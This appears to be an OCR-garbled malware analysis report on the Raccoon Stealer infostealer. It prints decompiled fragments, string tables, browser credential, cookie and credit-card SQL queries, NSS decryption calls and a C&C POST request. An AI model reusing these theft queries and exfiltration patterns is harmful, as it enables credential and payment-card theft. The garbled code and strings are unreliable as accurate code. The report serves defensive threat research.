"SELECT fieldname, valus FROM moz_formhistory™;

= "cookies.sglite";

= "machineId="7;
"econfigId=";
encrypted_k

= "stats_wversion
"Content-Type: application/x-chject™;

Content-Disposition: form-data; name=
DAT 00 .

file\"; filename=\

"Deletelbject™;
"GetObjectW"™;
"SelectObject™;
"SetStretchBltMode™;
"StretchBlt";

"SELECT name_on_card, card number_ encrypted, expiration month, expiration vear FROM credit_cards”™:
"Cookies™;

"Network\\Cookies";

"NUM: $3\nHOLDER: $s\nEXP:%5/%s\n";

\WCOC. txe™;

"N55 Init";

"N55_Shutdown™;

{11_FreeSlot";
1_Ruthenticate™;

= "Profiles”;

These are some queries for extracting credentials (username and password), cookies and auto-filled
browser fields:
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Memary map

00000000 00000400 PE Header

_ Liiiiiid 0000000 PE Header

IO 0040cabo 00000400 00401000 000020  Section(O)[“text]

(O Relative virtual address 0000cab0 0040be0D  0OOO0200  Section(O)["text’]
T i o 00404600 00000200 Section(1)[".rdata’]

0000cB00  0040e000 00000200  Section(2)['.data’]

ST 00406200  0DD0OEDD  Section(2)['.data’]

File offset 0000bcbo

Hex
Address Symbols

0000 :bcbo sqlite3_column_b
0000:bcec0 lob.SELECT origi
0000 :bcdo n_url, username_
0000 :bce0 value, password
0000:bcfo value FROM login
0000 :bd00 SELECT h
0000:bd10 ost_key, path, i
0000 :bd20 s_secure , expir
0000:bd30 es_utc, name, en
0000 :bd40 crypted value FR
0000 :bd50 OM cookies..SELE
0000 :bd60 CT name, value F
0000:bd70 ROM autofill....

Memary map
Offset
0000000 00DDD400  PE Header
fittis 0000000 PE Header
00DDD400  DDA0T000 00Dl Section(O)['text]
Relative virtual address 0040be00 00000200 Section(0)[text']
Mode Endianness Architecture ion(1)[ rdat
T i v 00400600 0000000 Section(1)[ rdata’]
0000200 0040eD00  0ODDD200  Section()['data']
s DD40e20D  OODDDEDO  Section(2)[ dats’]

) Virtual address

Hex

Rddress Symbols

0000 :bddo s...SELECT field
0000 :bde0 name, value FROM
0000 :bd£0 moz_formhistory
0000:b200 ....cookies.sqli
0000:bel0 te..machineId=..
0000:be20 &configId=.."enc
0000:be30 rypted key":"...
0000:be40 stats_version":"
0000:be50 ....Content-Type
0000:be60 : application/x-
0000:be70 object..Content-
0000:be80 Disposition: for
1 0000:beg0 m-data:; name="fi

A string is then composed (then sent via POST to the C&C) containing, among other things, the
machineld" (machine identifier) and the "configld.

All details of the credit cards intercepted at the machine are also extracted (and saved in the file
"CC.txt"):
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The connection information is hardcoded (encrypted) within the malware itself, and then used
when connecting to the proxy:

Also seen in the file are calls to "wallet.dat," searched by Raccoon within the various directories to
obtain precisely the wallets:

Analyzing the connections, it can be seen that communications to the C&C occur with User Agent
"DuckTales."

POST / HTTP/1.1

Accept: */*

Content-Type: application/x-www-Torm-urlencoded; charset=utf-8
User-Agent: DuckTales

Host:

Content-Length: 95

Connection: Keep-Alive

Cache-Control: no-cache

machineId=747f3 add®358 | IEUser&configld=eb93256b 54b614
a83HTTP/1.1 588 Internal Server Error

Content-Type: text/plain; charset=utf-8

X-Content-Type-Options: nosniff

Date: Tue, @81 Aug 20823 14:21:18 GMT I

Content-Length: 72

In the POST sent there is, among other things, the "machineld" (unique machine reference), the
user's username and the "configID" (unique string of the malware configuration, present as
hardcoded within the infostealer code). In the Sample, the proxy returned error "500" not being
currently active.
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The "configID" is used concurrently with the connection to the proxy, immediately after initializing
the authentication useragent to "AYAYAY1337" (via the FUN_0040a9cb function shown below) and
is critical to obtaining the configuration attributes (set graphically by the raccoon portal) of the

Infostealer:

Decompile: entry - (2.1.1.1..2,2.2,2exe) 9 | I | E‘ | ﬁ| -
23 | CoInitialize{{LEVOID)0x0);
29 | FUN_00401000();
30| ivarz = FUN_0040apcb() ;
31
34 local_24 = (short *)FUN_0040ae7l("eb53256b0d90b570aef093464be14a83");
35 | FUN_004042e7();
36 bVarl = FUN_0040a%£5() 7
37 if (CONCAT31 (extraout_var,bVarl) !'= 0) {
33 FUN_0040abklc{) :
39| 3
40 1 1 45[0] = FUN_0040a8fd(eLiE_00404137+1)
1| 1 15[1] = FUN_0040a8fd{ (byte *)
42 " "V
43 | local 42[2] = FUN_0040aSfd{{byte *)
44 " "V
45 | local 42[3] = FUN_0040aSfd({{byte *)
45 " "V
47 | local 3% = FUN_0040aS£d({({byte *)"
48 1
49 local_2c = DRT_0040e3b4:

2 |undefined4 FUNM_0040a%ch (vodid)

4

3 int iVarl;

iVarl = (¥DAT_0040=1&4) (Ox1£0001,0,L"AYAYAYRYI3I3T"):

8 if {iVarl = 0} |

9 (*DAT 0040=100) {0, 0, L"AYRYRYRAYI33T");
10 return 1;

11 }
12 return 0;
13 ]}
14

Function FUN_004042¢7 is responsible for defining several attributes used in the data stealing
phase, each attribute is then respectively called by function FUN_0040ae71.
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Decompile: FUM_004042e7 - (2.1.1.1.. 1exe)

110| DAT 0040e4bE
111| DART_004dedzfc
112| DAT 0040e420
113| DAT_0040e5l0
114| DAT 0040=584
115| DAT_004dezbc
116| DAT 0040e450
117| DART_0040e440
118 DAT_0040e343
11%| DAT_ 0040e3cd
120| DAT_0040=s444
121| DAT_0040=314
122| DAT_0040e53c
123| DAT_0040e28c
124| DAT_0040edlc
125| DAT 0040e24c
126| DAT_0040e350
£

G0 @]

"N35_ Shutdown™;

"PK1l_GetInternalKeySlot™;

"FK1l Free3lot";

"FK1l_Ruthenticate”;

"FK115DR_Decrypt"™;

"SECITEM Freeltem™;

"hostname'™:\"";

" A"httpRealm\":";

"encryptedUsernams’, ™\ "";

"W A\ menceyptedPasaword\ "t

T Tguidh ey

"Profiles™;

&[AT_ 0040ciT4;

&[AT_0040cf73;

"5-1-5-18";

&[AT 0040cfaa;
Bcr

&DAT_ 0040cfsc

C Decompile: FUN_004042e7 X

o Defined Data X % Defined Strings X Funch'ons *

This is followed by calling the GetUserDefaultLocaleName function with the purpose of obtaining

the current user name of the machine:

O
2 |undefined4 FUN_00401000 (wvoid)
4
5 HMODULE pHVa
& undefined4 u
7 HMODULE hM
g HMODULE h
g9 HMODULE h
10 HMODULE hModules 027
11

12 piVarl = LeadlLibraryh({"kernsel32.d11™);

13 if 1 {HMODULE) 0x0) |
14 b = Oxffffffff;
15 1
lé glse |
17 DAT_0040e038 = GetProcAddress(pHVarl, "LoadLibraryd™);
8 GetProchddresas (pHVarl, "GetUserDefaultLocalelame™) ;
19 DAT 0040el53 = GetProchAddress(pHVarl,"GetEnvironmentVariableW™);
20 DAT 00402130 = GetProcRddress( "latrlenh™)
21 CAT_0040el3c = GetProcAddress|( l, "Freelibrary™)
22 DAT 00402043 = GetProchddress( 1,"GlobalFree™)
23 DAT_00402040 = GetProcAddress( 1, "CreateFileW™)
24 DAT 00402024 = GetProchddress (pHVarl,"GetTimeZoneInformation™);

Within the FUN_004042e7 function there is a reference to the GetSystemInfo function, which is
used to obtain the hardware and system details of the infected machine.
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22 DAT 0040 = GetProchddress (pHV y "CopyFileW™)

23 DAT 00 = GetProchddress (ot 1, "GetModuleFileNameW™) ;
54 DAT 0040=080 = GEtPrccAddress{"'{'.'a:;, "lstrcmphA")

55 GetProchddresa (pHVarl, "Sleep™) s

L1 DAT 'J'J-I'JI‘:'J 4 = GetProchddress(pk "GetSystemInfo™) ;

57 DAT 004 = GetProchddress [k 1, "'Lcu:alF"' ="

58 DAT GetProchddress [k 1, "Procesal2Next™) ;

29 DAT GetProchddress (pk  "DeleteFileW™)

& DAT GetProchddress (pk "lstrcpynd™)

gl DAT = etProciddress( "MultiByteToWideChar"™) ;
62 DRT GetProchddress | 1, "FindClose™) ;

83 DAT_ GetProchddress (pHVarl, "CreateToolhelp32Snapshot™) 7
o4 ..retPrccA::l:lress{ HVarl, "HeapFree™) ;

85 DAT_0040 = EetProchddresas (pk 1, "GetUserDefaultLCID™) ;
66 DRET 0 GetProchddress (pHVarl, "GetLogicalDriveStringsW™) ;
a7 pHVarl Lc:adleraryA{"‘:hlhal i.d4117) ;

68 DAT 0040 4 = GetProchddress(pHVarl, "PathMatchSpecH™) ;

69 DRET = GetProchddress (o 1,"5ceCpyH™) ;

7 GetProchddress (pHVarl, "Str3telIW™)

71 DAT 0040=l34 = aetFrccAddress{ {Varl, "SteSted™) ;

72 DAT 00 14 = GetProchddress (pE , "PathCorbineW™) ;

73 DRT = .:EtFrccA:jdress{‘ HVarl, "StrBRChrW™) -

74 GetProchddress (pHVarl, "StrTolntd™) ;

Next are the details of the use of the useragent defined "DuckTales," the variable iVar4, related to
the hardcoded string in question and the attribute DAT_0040e120, is subjected to a "different from
zero" check, then the variable uVar6 is set to the hexadecimal values 0x400000 and 0xc00000
respectively in the case where the value of the variable sVar1 is equal to 0x73. There are then two
grafted "if" constructs that, in the case where the variables iVar7 and iVar8, respectively, are non-
zero, a "while" loop is performed to set the cast value to zero in the integer of the sum between
the variables local_14 and iVar3. These constructs, if certain conditions are met, allow the values
and attributes for Command and Control requests and connections to be set correctly.

b

O,param 1,0
148) (0x40, i

£ff, 0,0,0,0)7
+ 0x40);

T n oo
-

o
(%)

Jel) (0xfded,0,param 1,0xf
) (L"DuckTales",0,0,0,0);

local 10,iVard,0,0), iVard '= 0}} |

enoen
T Y

_0040e178) (ivard,local §,uVare,0,0,3,0,1);

%4,psVars,0,0,param 3,uVard,l);
2) (param 2, local

= [*DAT_0040e0£8) {iVar7,iVar3,50000,&local_l4), ivVars != 0 &&
_14 I= ({short *)0x0))) {
75 ¥{undefined *) ({int)local_l14 + iVar3) = 07
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u_DuckTales 0040425c

I'JU4Dd29c 44 00 75 unicode u"fuckTales”™
00 &3 00
&b 00 54 ...

¥REF[3]: FUN_004080£1:00408248 (%),
FUN 0040838c:004087e7(*),

FUN_0040854d:004035e3 (*)

In addition, in the case where the value of the variable iVar4 is non-zero, the MultiByteToWideChar
function is called using the hardcoded hexadecimal value Oxfde9.

0040e0b4) (iVars, DAT_0040e2584,psVars,0,0,param 3,uVard,l);

1) {(local_10);

) (param 2, local_10

15 iVars DAT 114} {(iVar7,param 2,uVare) s

g {

77 while {(iVarZ = (*DAT_0040e0£8) (iVar7,iVar3,50000,&local_l14), iVard !'= 0 &&
78 {local 14 != (short *)0x0))) {

] *{undefined *) ({int)local 14 + iVar3) = 0;

www.swascan.com | info@swascan.com




Swascan

TINEXTA GROUP

] GetProchddress (pHVarl, "InternetReadFileExW") ¢

9 DAT_00 1ldc = Varl,"InternetOpenlUelW™) »

] GetProchddress (pHVarl, "HetpQueryInfoW™) ;

492 DAT_00 GetProchddreas (pHVarl, "InternetlloseHandle™)

a3 DAT_ GetProchddress (L 1, "InternetConnectW™) ;

44 DAT_ = GetProchddress (¢ 1, "InternetSetOptionW™) ;

45 DAT = GetProchddress(; l, "Internetlipeni™) ;

G6 DAT = GetProchddress(; 1, "HetpSendRequest™) 7

a7 DAT 0040e0f8 = GetProchddress(pHVarl,"InternetReadFile™);

S8 GetProchddress (pHVarl, "InternetOpentUrli™) ;

49 [CAT 00402018 = GetProcRddress(hi l=, "ShellExecuteW™) ;
100 DAT GetProchddress|(t y "SHGetFolderPathW™)
101 DART_ = GetProchddress (b "SHGetSpecialFolderPathW™) ;
102 DAT = GetProchddress (b 11, "Convert3idToStringSidW™) ;
103 DART_ GetProchddress(t 01, "OpenProcessToken™) ;
104 DAT = GetProchddress (b 1, "SystemFunction03&™);
105 DART_ = GetProchddress (b le_ 01, "RegEnumkeyExXW") ;
106 DAT = GetProchddress (b e_01,"RegCloseKey™);
107 DRT_ = GetProchddress (b 01, "DuplicateTokenEx™) ;
108 DAT = GetProchddress (hM 1, "GetUserNameW™) ;

This is followed by decryption contexts using the CryptUnprotectData function for the stolen
information related to Telegram and Signal.

8_CryptUnprotectData 0040c730 XREF[1]: ~
0040c730 43 72 7% ds | "CryptUnprotectData”™
70 74 53
ae 70 72 ...
0040c743 00 22 00h
5_sgnl 0040c744 XREF[1]:
0040c744 73 €7 @e ds "sgnl "
gc 5f 00
0040c74a 00 22 00h
0040274k 00 22 00h
3_tlgrm 0040cT4c XREF[1]:
T 0040cT4c 74 &c &7 ds "tlgrm "|
72 6d S5f 00
0040c753 00 27 00h
DAT_0040c754 XREF[1]:
0040c754 €5 22 é5h e
0040755 77 272 77h W
0040c756 73 22 73h 3
0040c757 5% 27 5Fh _
0040c752 00 27 00h ]
0040c75% 00 22 00h v
£ >

The PK11_SDR_Decrypt function is used in order to decrypt the subtracted attributes:
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Offset Address Size

00000000 00400000 00000400 PE Header

iiiiing 00400400 0000000 PE Header

00000400 00401000 0000200 Section(0)["text']
0040beDD  ODOD0200  Section (o\[ tr_‘t]

——
0040d600 00000200 ction(1)[".rdata']

0000800 0040000 00000200 Section(2)[".data’]

fiiiiiiig 00406200  0000DeDD  Section(2)['.data’]

KeySlot.PK11l Fre

5lot...PK11_Aut
henticate...PK11
spgl Decrypt.SECT
TEM_Freeltem. ...

hostname" ".","h
ttpRealm” encr
yptedUsername":"
.","encrypted
Password":".","g
rofiles

Offset Address Size

00000000 00400000 00000400 PE Header

i 00400400 0000000 PE Header

00000400 00401000 0000200 Section((
0040be00 00000200 Section(C

0i0cw0 o000 ectontatowl ]
0040d600 00000200 Section(1 I[ rdata’]

0000800 0040e000 100000200 Section(2)['.data']

FFFFFFFE 00406200 0O000DeDD  Section(2)['.data’]

Sym
65 | chBltMode. tre
6e | tchBlt..SELECT n
72 | ame_on_card, car
74 d_number_encrypt
6d |ed, expiration m
6e | onth, expiration
69 | year FROM credi
00 | t_cards.Cookies.
oo Network\Cookies.
73 | NUM:%s.HOLDER: %s
PR tts/ \cC
_Init....
NSS_Shutdown

Raccoon stealer makes use of mutex objects in order to competitively manage files, data reads, and
subtracted attributes in a way that does not allow external processes to interfere in data stealing
and data exfiltration operations:
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00400150 CloseHandle "CloseHandle™ ds
0040c15c GetlastError "GetLastError” ds
0040c16c FindmextFilew "FindMextFilew™ ds
0040c17c FindFirstFilev "FindFirstFilew™ ds
0040c18c Process32First "Process32First”™ ds
0040c19c GetFileSize "GetFileSize” ds
0040c1ag OpenMutexi "OpenMutexi™ ds
0040c1b4g WideCharToMultiByte “WideCharToMultiByte™ ds
0040c1cd Globalalloc "GlobalAlloc” ds
0040c1d4 GetCurrentProcess "GetCurrentProcess” ds
0040c1ed ExitProcess "ExitProcess” ds
0040014 CreateMutexi "CreateMutexw™ ds
00400204 GetsystemWowe4Director,,. "GetSystemWows4Directo.., ds
0040c220 GetlocaleInfoW "GetLocaleInfoW™ ds
00400230 GlobalMemoryStatusEx "GlobalMemoryStatusEx”™ ds
00400248 GetDriveTypeW "GetDriveTypeW™ ds
00400258 OpenProcess "OpenProcess”™ ds
00400264 LocalAlloc "Localalloc™ ds
00400270 Istrempity Astrcmpi™ ds
0040027 SetEnvironmentVariablew “setEnvironmentVariableW™ ds
00400294 CopyFileWw "CopyFilew™ ds
0040c2a0 GetModuleFileMamewwy "GetModuleFileMamew™ ds
00401157 68 d4 cl PUSH s_GetCurrentProcess_0040cld4 )
40 00
0040115c 56 PUSH ESI
0040115d a3 90 =0 MOV [DAT_00402080],ELX
40 00
00401162 ££ 43 CALL EBX=>KERNEL3Z.DLL: : GetProchddress
00401164 68 =8 cl PUSH s_ExitProcess_0040cled
40 00
00401169 56 PUSH ESI
004011l6a a3 44 =0 MOV [DAT_0040e044],ELX
40 00
0040116F ££ d3 CALL EBX=>KERNEL32.DLL: : GetProchddress
T 00401171 &8 £4 cl FUSH s8_CreateMutexi_0040clid
40 00
00401176 56 PUSH ESI
00401177 a3 28 el MOV [DAT_0040e025],ELX
40 00
0040117 ££ 43 CALL EB¥=>KERNEL32.DLL: : GetProchddress
0040117e 68 04 c2 PUSH 5_GetSystemWowt4DirectoryW _0040c204
40 00
00401183 56 PUSH ESI
00401184 a3 00 el MOV [DAT_00402100],ELX
40 00
00401189 ££ 43 CALL EBX=>KERNEL3Z.DLL: : GetProchddress v
£ >

The threat invokes the function CreateProcessWithTokenW in order to create new process instances
with the specific security context token. During the environment discovery phase, the SID of the
current user is obtained and converted to a string (ConvertSidToStringSidW function):
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Location = | String Value String Representation Data Type
0040c550 InternetOpenlrla "InternetOpenirla”™ ds
0040c564 ShellExecuteW "ShelExecuteW™ ds
0040c574 SHEetFolderPathiy "SHGetFolderPathw™ ds
SHGetSpedalFolderPath "SHGetspedalFolderPathw™
0040c5a0 ConvertsidToStringSidw "ConvertSidToStringSidw™ ds
0040c5bs OpenProcessToken "OpenProcessToken™ ds
0040c5ce SystemPFunctiond3a "SystemFunctiond3a™ ds
0040c5e0 RegEnumKeyExW "RegEnumkeyExi™ ds
0040c5f RegClosekey "RegClosekey”™ ds
0040c5fc DuplicateTokenEx "DuplicateTokenEx™ ds
0040c510 GetUserMamei "GetUserMameW™ ds
0040ca20 RegOpenkeyExW "ReqOpenkeyExi™ ds
0040ca30 RegQueryValueExw "ReagQueryValusExw™ ds
0040ce44 GetTokenInformation "GetTokenInformation® ds
00400558 CreateProcessWithTokenW  “CreateProcessWithToken... ds
0040ca 70 CharUpperW/ "Charllpperw™ ds
004067 EnumDisplayDevicesW "EnumDisplayDevicesW™ ds
0040cE90 GetClientRect "GetClientRect” ds
0040csa0 GetDC "GetDC" ds
0040chas GetDesktopWindow "GetDesktopWindow™ ds
0040cabe GetsystemMetrics "GetSystemMetrics” ds
0040csd0 ReleaseDC "ReleaseDC” ds

The CryptStringToBinaryA, CryptStringToBinaryW, CryptBinaryToStringW, and CryptUnprotectData
functions are called for the consequential encryption and decryption operations of the obtained
data and parameters for C&C connections. There are then references to instances of Telegram,
Signal and Discord, which are included in the data stealing context:

Location = | String Value | String Represent... | Data Type
040cad0 ReleaseDC "ReleaseDC” ds
0040cAdc wsprintfy "wsprintfin™ ds
0040ched CryptStringToBinaryA "CryptStringToBin... ds
Q040c700 CryptStringToBinaryW "CryptStringToBin... ds
0040c7 13 CryptBinaryToStringWV "CryptBinaryToSt... ds
0040c730 CryptUnprotectData "CryptUnprotectD... ds
0040c744 sgnl_ "sgnl_" ds
0040c74c tgrm_ "tigrm_" ds
0040c75¢c arbr_ "grbr_" ds
0040c754 dscrd_ "dscrd " ds
%S TRUE Yos Y5 s %os %s "%s \FTRUE s\t ..
0040c 784 URL: %%sUSR 1 360sPASS: 30s "URL:%es'\nUSR:... ds
0040c7oc %od) Yz "thted) %esin” ds
0040c7a8 - Locale: %%s "\t- Locale: %6sin” ds
0040c7b8 - 05 %S "it- 05: %%s'n” ds
0040c7c4 -RAM: ®:d MB "\t- RAM: %od MB'n™ ds
0040c7d4 - Time zone: %6c%6ld minutes from GMT "\t- Time zone: %... ds
0040c7Ffc - Display size: Yodx%ed "\t- Display size: ... ds
0040ca15 - Architecture; x%ad "\t- Architecture: ... ds
0040ca30 - CPU: %6s (%ed cores) "\t- CPU: %s (%d... ds
0040ca34a - Display Devices: %S "\t- Display Devic... ds
0040ca60 formhistory.sglite “formhistory.sqlite”™  ds

Next is a detail inherent in the formhistory.sqlite file, which contains references to browsers autofills
data. In addition to the sqlite3.dll DLL, the nss3.dll library is also dropped and used in order to
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proceed with the data exfiltration steps. The attribute "scrnsht_" is inherent, however, to the
screenshots taken by the information stealer in order to collect information also in "image format."

=N
0040c860
0040c89¢c
0040c8a8
0040c8bs
0040c8c8
0040c8e4
0040924
0040954
0040970
0040c97c
0040984
004009594
0040c9a0
0040c9ac
0040c9b4
004090
0040c9cc
0040cal4
0040cald
0040calc
0040ca28
0040ca3c

String Value

formhistory.sglite

logins. json
Yautofil, txt
cookies, txt
\passwords. bt

Content-Type: applicatione-www-form-url. ..
Content-Type: multipart/form-data; bound...

Content-Type: text/plain;
Uzer Data

wallets

wits_

scrnsht_

sstmnfo_

token:

nzs3.dll

sglite3.dll

SOFTWARE WMicrosoft\Windows NT\Curren. ..

Productiame

Web Data

Login Data
sglite3_prepare_v2
sglite3_openi16

String Represent...

“formhistory.sqlite™

"loginz.json”
"Wautofill, txt™
"Vcookies, ™
"Vpasswords. tet”™

"Content-Type: a...
"Content-Type: m...
"Content-Type: t...

"Uszer Data”
"wallets™
“wits_"
"scrnsht_®
"sstmnfo_"
“token:”
"nes3.dll”
“zglite3.dlI”

"SOFTWAREY\Mic. ..

"Productiame”
"“Web Data”
"Login Data™

"sqlite3_prepare_...

"zqlite3_openia”

Data Type

ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds
ds

Within the strings can be seen two attributes that are found to be individualizing the configuration
of Raccoon and the infected host, also passed as arguments in the first POST request to the proxy:

Location By | String Value | String Represent... | Data Type
0040ca 10 Web Data "Web Data” ds
0040calc Login Data "Login Data”™ ds
sqlite3_prepare_v2 "sglite3_prepare_...
0040ca3c sglite3_openi16 "sglite3_open 16 ds
0040ca4c sglite3_close "sglite3_close™ ds
0040cas5c sglite3_step "sglite3_step” ds
0040catc sglite3_finalize "zglite 3_finalize” ds
0040cas0 sglite3_column_text16 "sglite3_column_t... ds
0040ca93 sglite3_column_bytes 16 "sglite3_column_b... ds
0040cabn sglite3_column_blob "sglite3_column_b... ds
0040cact SELECT origin_url, username_value, passw... "SELECT origin_ur... ds
0040ch03 SELECT host_key, path, is_secure , expire... "SELECT host_ke... ds
0040ch5c SELECT name, value FROM autofil "SELECT name, V... ds
0040cba0 pera “pera " ds
0040chaa Stable "Stable™ ds
0040cha0 SELECT host, path, isSecure, expiry, name,.. "SELECT host, pa... ds
0040chd4 SELECT fieldname, value FROM moz_formh,.. "SELECT fieldnam... ds
0040cc04 cookies, sglite "cookies.sglite” ds
0040cc 14 machineld= "machineld=" ds
0040cc20 &configld= "&configld=" ds
0040cc2c "encrypted_key™:"” "\encrypted_key... ds
0040cc40 stats_version™" "stats_version\\™ ds

Here further references to the encrypted_key attribute, added with concatenated backslash, the
GUID of the infected host, next we note the SQL query that can be used to subtract credit card
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data, PK11 functions for decryption attributes, and the network attributes hostname and

httpRealm:

Location By | String Value | String Represent... | Data Type
0040cc14 machineld= "machineld=" ds
0040cc20 &configld= "&ronfigld=" ds
0040cc40 stats_version™" "stats_version\:\"  ds
0040cc54 Content-Type: application,x-object "Content-Type: a... ds
0040cc7a Content-Disposition: form-data; name="fil... “Content-Dispositi... ds
0040cccD MachineGuid "MachineGuid”™ ds
Location By | String Value String Represent... |Data Type
0040cdca SelectObject "SelectObject” ds
0040cdda SetstretchBltMode "SetStretchBltMode™  ds
0040cdec StretchBit "StretchBit” ds

SELECT name_on_card, card_number_enc... | "SELECT name_o...
0040ce 58 Cookies "Cookies™ ds
0040cesn Metwork\Cookies "Metwork\\Cookies™  ds
0040ce70 MUM: %sHOLDER : 3%6sEXP: Yos%0s "MUM:36s\nHOLD... ds
0040cesc \CC. et "WCC. twt™ ds
0040ces4 NSS_Init "MSS_Init” ds
0040ceal NS5 _Shutdown "M55_Shutdown™ ds
0040cebn PK11_GetInternalkeyslot "PK11_GetIntern... ds
0040cecs PK11_FreeSlot "PK.11_FreeSlot™ ds
0040ceds PK11_Authenticate "PK11_Authentica... ds
0040ceec PK115DR._Decrypt "PK115DR_Decrypt”™ ds
0040cefc SECITEM_Freeltem "SECITEM_Freelt... ds
0040cf10 hostname™:" "hostnamel: ™ ds
0040cfic " "httpRealm™: " \httpRealm\:™ ds
0040cf2c encryptedUsername™” "encryptedUsern... ds
0040cf44 " "encryptedPassword™:"™ " \encryptedPa... ds
0040cf5¢c ", "guid™: C A\ quidy ds
0040cfea Profiles "Profiles™ ds
0040cf7c 5-1-5-18 "5-1-5-18" ds

The configID is identifiable as a hardcoded string within the malware itself, the useragents
DuckTales and AYAYAY1337 are used for authentication concurrently with the POST request to the
proxy IP address:
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Location B, | String Value | string Rep... | Data Type
UU=IOoST LISpIayVErSmrT DISpEyveE... U5
0040d0a0 g s "\t%s %s\n”  ds
0040d0as \ffrookies. txt "\\ffcookie... ds
0040d0bc Local State "Local State™  ds
0040dodo wallet.dat “wallet.dat™ ds
0040d0ec = Ink "= Ink” ds
0040d110 eb93256b0da0b570aef093464b6 14283 "eb93256b... ds
0040d 180 " .. ds
0040d 1ca " I -
0040d210 " I -
0040d258 " I -
0040d2do AYAYAYAY 1337 U AYAYAY... unicode
0040d384 rdata "rdata” ds
0040d394 rdata$voltmd "rdatasvo... ds
0040d414 .data ".data” ds
0040d486 LoadLibraryA "LoadlLibra... ds
0040d496 GetProcAddress "GetProchA... ds
0040d4as Istrlena TstrlenA™ ds
0040d4b4 Localalloc "LocalAlloc™  ds
0040d4cn KERMEL32.dl "KERMEL32... ds
0040d4d0 Colnitialize "Colnitialize™ ds
0040d4de ole32.dl "ple32.dI” ds

Additional extractable strings are given below referring to the same peculiarities already
mentioned, namely files enumeration, mutex creation, environment and system information
discovery, C&C connections, encryption and decryption functions, user and token information
gathering, data stealing and exfiltration using SQL queries with the sqlite3.dll library, and
references to the MetaMask cryptocurrencies browser extension:

D& Strings - O X

Filter

B Anst ~ [ utrs M unicode M C Strings 5

Size
00000004
0000000
0000000
0000000k

String

=
-l
m

FindNextFileW
FindFirstFileW

Process32First

WideCharToMultiByte
GlobalAlloc

GetCurrentProcess

0000000k
00000011
ExitProcess

CreateMutexW

GetSysten vBdDirectoryW
0000000
00000014
0 00d
0000000k
0000000a
00000009

GetlLocalel W

GlobalMemoryStatusEx

GetDriveTypeW

OpenProcess

LocalAlloc

IstrempiWV

SetEnvironmentVariableW

ileW

ModuleFileNameW

IstrerpA

Sleep

A
A
A
A

0a A

3 A
A
A
A
A
A
A
A
A
A
A
A

7 A

0 A
A

os A

05 A
A

GetSvstemInfo
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D& Strings

B8 Strings
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B anst

Size
00000010
00000011
0000000d
0000000k
00000010
0000000c
0000000d
00000010
00000013
00000017
0000000
00000013
0000000d
00000005
00000010
00000010
00000009
00000009

B anst

Size
00000005
00000006
00000012
0000000k
0000000d
0000000c
0000000e
0000003
0000002c
00000019
00000009
00000007
00000005
00000008
00000008
00000006
00000008
0000000k

0000000k
00000003
0000000a

E T T - i S T S R

=
-l
m

> P F>PFPFPFPFPPFPEPFDPFPEPPFPRFPRFPFDRFPRFPE R

= [Jurre M unicode [l CStrings 5

String
OpenProcessToken
SystemFunction036
RegEnumKeyExW
RegCloseKey
DuplicateTokenEx
GetUserNameW
RegOpenKeyExW
RegQueryValuebxW
GetTokenlnformation
CreateProcessWithTokenW
CharlpperW
EnumDisplayDevicesW
GetClientRect
GetDC
GetDesktopWindow
GetSystemMetrics
ReleaseDC
wsprintfWW
CryptStringToBinaryA
CryptStringToBinaryW
CryptBinaryToStringW
CryptUnprotectData

sanl

= [ urre M unicode [l CStrings 5

String
grbr_
dscrd_
formhistory.sglite
logins.json
\autofill bt
\cookies.txt
\passwords.txt
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Type: multipart/form-data; boundary=
Content-Type: text/plain;
User Data
wallets
wits_
scrnsht_
sstmnfo_
token:
nss3.dll
sqlite3.dll
SOFTWARE\Microsoft\Windows NT\CurrentVersion
ProductMame
Web Data
Login Data

salite3 orepare v2
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D& Strings

B Anst = [Jurre [ unicode [l C5trings 5 2

T String
0000000d
0000000C

sqlite3_close

sqlite3_step

sqlite3_finalize

sqlite3_column_text16

sqlite3_column_bytes16

sqlite3_column_blob

SELECT erigin_url, username_value, password_value FROM logins
SELECT host_key, path, is_secure, expires_utc, name, encrypted_value FROM cockies
SELECT name, value FROM autofill

pera

Stable

SELECT host, path, isSecure, expiry, name, value FROM moz_cookies
SELECT fieldname, value FROM moz_formbhistory

cookiessqlite

machineld=

Suconfigld=

“encrypted_key

stats_wversion":"

Content-Type: application/x-object
Content-Disposition: form-data; name="file"; filename="
MachineGuid

image/jpeg

GdiPlus.dll

P PFPFPFPPPFPPFPDPFPEPFPDPFPREDRFPEPFP PP PR

D Strings

B amst = [Jurre M unicode [l CStrings 5

Size
00000006
00000016
00000012
0000000c
0000000
0000000c
00000011
0000000
0000005f
00000007
0000000F
00000007
00000008
0000000c
00000017
0000000d
00000011
0000000F
00000010
0000000k
0000000

String

<
-l
m

BitBlt

CreateCompatibleBitmap

CreateCompatibleDC

DeleteObject

GetObjectW

SelectObject

SetStretchBltMode

StretchBlt

SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year ...
Cookies

Network\Cookies

\CCobt

NSS_Init

M5S_Shutdown

PK11_GetInternalKeySlot

PK11_FreeSlot

PK11_Authenticate

PK115DR_Decrypt

SECITEM_Freeltern

hostname":"
", "httpRealm":

encryptedUsername":

b R R R S R T i

encrvotedPassword":"

The Raccoon Stealer DLL library (2.1.1.1.dIl - b0a99b3fabf3d3c766cd6c6589dfe3e7) also contains
the same functions and peculiarities of the executable, as well as the same suspicious indicators:
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property value
md3 BOASIBIFABF3ID3ICTEECDECAS8IDFEIET
shal EEAIF4503DEFE11330CBADOERATCT45B8453B9B
é :Z:;abd;é:t:::;ﬂ sha2s6 1EAO9967837AEABAB2TT1EB0026E0D566AT62E24DECE0B36EIBABD0456579468
_____ + rich-header (7) first-bytes-hex 4D 5490 00 03 00 00 00 04 00 00 OO FF FF 00 00 BS 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00
----- > file-header (time-stamp) first-bytes-text MZ. mro e w @
----- > optional-header (GUI) file-size 37836 (bytes)
5§ directories (time-stamp) entropy 6.394
..... » sections (38.23%) imphash B967E16BF7EBEF40B 18852 SAF72D8EA
] libraries (2) * signature
L7 functions (3) * entry-point 33C040C20C00558BECA3EC20AT48E000108365F4005356576850 C300006A 4088 F1
..... [3 exports (_Start@16) file-version
----- - description
----- e file-type dynamic-link-library
----- = cpu 32-bit
""" abe strings (631) subsystem GUI
- ff¥ debug (time-starmp) 0x64900EBF (Mon Jun 19 01
= debugger-stamp 0x64900EBF (Mon Jun 19 01:15:59 2023)
resources-stamp
import-stamp
